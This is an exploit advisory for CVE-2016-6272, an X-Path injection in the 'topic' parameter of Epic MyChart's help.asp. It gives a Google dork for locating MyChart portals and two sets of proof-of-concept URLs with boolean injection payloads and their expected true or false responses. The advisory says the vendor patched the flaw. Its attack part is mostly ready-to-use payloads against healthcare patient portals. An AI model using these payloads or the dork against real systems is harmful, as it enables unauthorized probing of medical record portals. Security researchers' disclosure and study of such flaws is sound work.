6885f2dcc7
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1.7 KiB
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31 lines
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1.7 KiB
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# Exploit Title: Epic Systems Corporation MyChart X-Path Injection
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# Google Dork: MyChart® licensed from Epic Systems Corporation
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# Date: 8/19/16
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# Exploit Author: Shayan Sadigh (http://threat.tevora.com/author/shayan/)
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# Vendor Homepage: https://www.epic.com/software
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# Software Link: N/A
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# Version: N/A
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# Tested on: Windows/Unix
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# CVE : CVE-2016-6272
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Epic Systems Corporation MyChart "is a web portal offered by most Epic healthcare organizations that gives you controlled access to the same Epic medical records your doctors use and provides convenient self-service functions that reduce costs and increase satisfaction."
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The MyChart software contains an X-Path injection due to the lack of sanitization for the GE parameter "topic". A remote attacker can access contents of an XML document containing static display strings, such as field labels, via the topic parameter to help.asp.
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EPIC was quick to respond to contact and patch the vulnerability in MyChart.
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Below are two proof of concepts:
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Proof of concept 1:
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https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 7900=7900 AND ("LygB"="LygB ===> TRUE (this will show the help topic for enabling cookies)
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https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 7900=8000 AND ("LygB"="LygB ===> FALSE (will not show)
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Proof of concept 2 (operations):
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https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 2*3*8=6*8 OR "000OxPf"="000OxPf ===> TRUE
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https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 2*3*8=6*6 OR "000OxPf"="000OxPf ===> TRUE (because of the OR)
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https://server/mychart/help.asp?topic=COMPONENT^COOKIEENABLE" AND 2*3*8=6*6 AND"000OxPf"="000OxPf ===> FALSE |